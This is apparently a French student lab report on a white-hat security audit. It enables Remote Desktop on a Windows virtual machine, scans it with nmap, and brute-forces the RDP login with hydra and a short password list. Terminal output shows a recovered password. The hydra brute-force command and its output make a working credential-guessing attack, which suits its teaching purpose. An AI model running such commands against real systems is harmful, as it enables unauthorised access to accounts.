2023-2024

BTS SIO1

TP-
IDENTIFIER LES MENACES

Nicolas Debut

Quel type d’audit allons nous réalisés ?

White hat

Nous allons réalisés du white hat car tout est et doit être légal et contractualisé avec l’entreprise nous venons dans un but informatif et pédagogique et en aucun cas pour effectuer une attaque sur le système. Toutes les informations collectées durant l’audit devra rester propriété de l’entreprise.

Attaques directes

Nous venons dans un but informatif donc une attaque indirecte serait inutile et relèverai potentiellement d’une mauvaise intention envers l’entreprise.
En effet pourquoi passer par des moyens indirectes pour réaliser une action légale et à la connaissance de la cible.

Présentation précise de ce qui va se passer.

Étape 1

Tout d’abord nous allons intentionnellement activer le bureau à distance depuis la machine Windows pour ouvrir le port 3389 qui nous permettra d’accéder à la machine depuis la notre.

Étape 2

Nous aurons préalablement installer le pack ncrack sur notre machine. Ce pack nous permettra de voir la liste des ports ouverts sur la machine Windows dont le port 3389 et nous l’utiliseront sur la machine Windows.

Étape 3

Le port 3389 est affiché ouvert donc il est accessible on va pouvoir “attaquer” la machine et obtenir son mot de passe.

Présentation précise de ce qui va se passer

Étape 4

Mettre en place un fichier texte avec la liste des mots de passes les plus connus pour pouvoir le réutiliser avec le logiciel xhydra

Étape 5

On fait appel à notre fichier texte contenant tout les mots de passes et on va les testés sur la session a.

Étape 6

Si le mot de passe est présent dans la liste il nous sera renvoyer et nous auront accès à la session de la personne concernée.
Si c’est le cas tout le monde peut le faire également donc il faut mettre un mot de passe plus sécurisé.

Techniquement ça donnera ceci:

1

```
┌──(root㉿kali)-[/home/kali]
└─# apt-get install nmap
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
nmap is already the newest version (7.94+git20230807.3be01efb1+dfsg-2+kali1).
The following packages were automatically installed and are no longer required:
  coreboot-utils coreboot-utils-doc libarmadillo11 libatk1.0-data libavutil57 libcbor0.8 libcfitsio9
  libclang-cpp11 libcurl3-nss libexporter-tiny-perl libflac8 libgcc-12-dev libgdal31 libgeos3.11.0
  libgfapi0 libgfrpc0 libgfxdr0 libglusterfs0 libgphoto2-l10n libgssdp-1.2-0 libgupnp-1.2-1
  libgupnp-igd-1.0-4 liblist-moreutils-perl liblist-moreutils-xs-perl libllvm11 libobjc-12-dev
  libopenh264-6 libperl5.34 libplacebo192 libpoppler118 libpostproc56 libpython3.10 libpython3.10-dev
  libpython3.10-minimal libpython3.10-stdlib libspatialite7 libstdc++-12-dev libsuperlu5 libsvtav1enc
  libswscale6 libtbb12 libtbbmalloc2 libwacom-bin libyara9 libzxingcore1 llvm-11 llvm-11-dev
  llvm-11-linker-tools llvm-11-runtime llvm-11-tools lua-lpeg openjdk-11-jre openjdk-11-jre-headless
  perl-modules-5.34 python3-commonmark python3-ntlm-auth python3-requests-ntlm python3.10 python3.10-
  python3.10-minimal ruby3.0
Use 'apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 954 not upgraded.
1 not fully installed or removed.
Need to get 0 B/15.6 kB of archives.
After this operation, 0 B of additional disk space will be used.
Do you want to continue? [Y/n]
```

2

```
┌──(root㉿kali)-[/home/kali]
└─# nmap 192.168.21.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-28 08:08
Nmap scan report for 192.168.21.5
Host is up (0.00028s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
MAC Address: 08:00:27:69:E5:B4 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
```

3

```
┌──(root㉿kali)-[/home/kali]
└─# nano rockyou.txt
```

4

```
File  Actions  Edit  View  Help
  GNU nano 7.2
Password
azerty
ytreza
1234
0000
azerty59400
azerty
12345
azerty123
azerty123456789
```

5

```
┌──(root㉿kali)-[/home/kali]
└─# hydra -l sio -P rockyou.txt 192.168.21.1 rdp
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret serv
ice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics any
way).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-29 10:33:30
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of par
allel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 11 login tries (l:1/p:11), ~3 tries per task
[DATA] attacking rdp://192.168.21.1:3389/
[3389][rdp] host: 192.168.21.1   login: sio   password: Password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-29 10:33:40
```